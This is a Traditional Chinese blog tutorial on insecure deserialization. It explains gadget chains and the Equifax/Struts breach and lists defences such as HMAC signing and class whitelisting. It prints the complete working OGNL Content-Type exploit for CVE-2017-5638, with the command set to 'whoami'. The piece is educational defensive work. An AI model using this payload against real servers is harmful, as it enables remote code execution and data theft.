Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

不安全的反序列化

| , 3 minutes reading.

1. 定義

不安全的反序列化 發生在應用程式在沒有適當驗證的情況下反序列化(將序列化資料轉換回物件)不受信任的資料時。攻擊者可以操縱序列化物件來:

  • 在伺服器上執行任意程式碼
  • 執行注入攻擊
  • 重放、竄改或提升權限
  • 導致阻斷服務

這個漏洞特別危險,因為利用它通常會直接導致遠端程式碼執行 (RCE)

2. 技術原理

序列化 將物件轉換為可以儲存或傳輸的格式(位元組、JSON、XML)。 反序列化 從該格式重建物件。

為什麼危險: 許多語言在反序列化過程中會執行程式碼:

  • 物件建構子/解構子被呼叫
  • 魔術方法被呼叫(PHP 中的 __wakeup(),Java 中的 readObject()
  • 屬性設定器可能觸發副作用

易受攻擊的語言和格式:

  • Java: 原生序列化、XStream、Jackson(帶多型)
  • PHP: unserialize() 函式
  • Python: pickle 模組
  • .NET: BinaryFormatterObjectStateFormatter
  • Ruby: Marshal.load()

攻擊概念 - Gadget 鏈: 攻擊者不注入新程式碼。相反,他們鏈接應用程式或其函式庫中現有的類別(「gadgets」)來實現程式碼執行。

序列化物件 → 反序列化 → Gadget 類別 A
                              ↓ 呼叫
                          Gadget 類別 B
                              ↓ 呼叫
                          Gadget 類別 C
                              ↓ 執行
                          Runtime.exec("惡意命令")

3. 攻擊流程

sequenceDiagram
    participant Attacker as 攻擊者
    participant WebApp as Web 應用程式
    participant Deserializer as 反序列化函式庫
    participant System as 作業系統

    Attacker->>Attacker: 使用已知 gadget 鏈<br/>製作惡意序列化載荷

    Attacker->>WebApp: 在 cookie/參數中發送載荷<br/>session=rO0ABXNyABFqYXZhLnV0aWw...

    WebApp->>Deserializer: 反序列化工作階段資料

    Deserializer->>Deserializer: 重建物件圖<br/>觸發 gadget 鏈

    Note over Deserializer: Gadget 鏈執行<br/>惡意程式碼路徑

    Deserializer->>System: Runtime.exec 或等效方法

    System-->>Attacker: 反向 shell / 命令輸出

4. 真實案例:Apache Struts (2017)

目標: Equifax 和數千家其他組織。 漏洞類別: Java 反序列化 RCE (CVE-2017-5638)。

漏洞背景: Apache Struts 是一個流行的 Java Web 框架,其 Jakarta Multipart 解析器存在嚴重漏洞。在處理檔案上傳的 Content-Type 標頭時,它使用了可被操縱的 OGNL(物件圖導航語言)運算式。

攻擊過程: 攻擊者發送帶有精心建構的 Content-Type 標頭的惡意 HTTP 請求:

Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Equifax 資料外洩: 2017 年 9 月,Equifax 披露攻擊者利用此漏洞存取了 1.47 億人的個人資料,包括社會安全號碼、出生日期和地址。

影響: 歷史上最大的資料外洩事件之一,導致超過 7 億美元的和解金。這表明單個反序列化漏洞可能產生災難性後果。

5. 深度防禦策略

A. 避免原生反序列化

最安全的方法是完全不反序列化不受信任的資料。

  • 使用簡單的資料格式: 優先使用 JSON 或 XML 進行明確解析(而非物件對映)。
  • 禁止多型反序列化: 避免允許任意類別實例化的功能。
// 壞:原生 Java 反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 危險!

// 好:明確類型的 JSON
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class); // 明確類型

B. 完整性檢查

簽章序列化資料以偵測竄改。

  • HMAC 簽章: 在序列化前簽章資料,在反序列化前驗證。
  • 加密: 加密序列化資料,使攻擊者無法建構有效載荷。
import hmac
import hashlib

def serialize_with_signature(data, secret_key):
    serialized = pickle.dumps(data)
    signature = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
    return serialized + b'.' + signature.encode()

def deserialize_with_verification(signed_data, secret_key):
    serialized, signature = signed_data.rsplit(b'.', 1)
    expected = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(signature.decode(), expected):
        raise ValueError("Invalid signature")
    return pickle.loads(serialized)

C. 類型約束(白名單)

限制可以反序列化的類別。

Java(使用 ObjectInputFilter - Java 9+):

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.myapp.model.*;!*"  // 僅允許 com.myapp.model,拒絕所有其他
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);

D. 隔離反序列化

在沙箱環境中執行反序列化。

  • 獨立處理程序: 在低權限處理程序中反序列化。
  • 容器隔離: 使用受限能力的容器。
  • 時間限制: 中止耗時過長的反序列化(DoS 防護)。

E. 監控和偵測

  • 記錄反序列化: 追蹤所有反序列化操作。
  • 異常偵測: 對異常的類別載入模式發出警示。
  • RASP(執行階段應用程式自我保護): 偵測利用嘗試的工具。

F. 保持相依性更新

許多反序列化漏洞針對已知的易受攻擊函式庫。

  • 相依性掃描: 使用 OWASP Dependency-Check、Snyk 等工具。
  • Gadget 函式庫: 關注常見函式庫(Commons Collections、Spring 等)中的漏洞。

6. 參考資料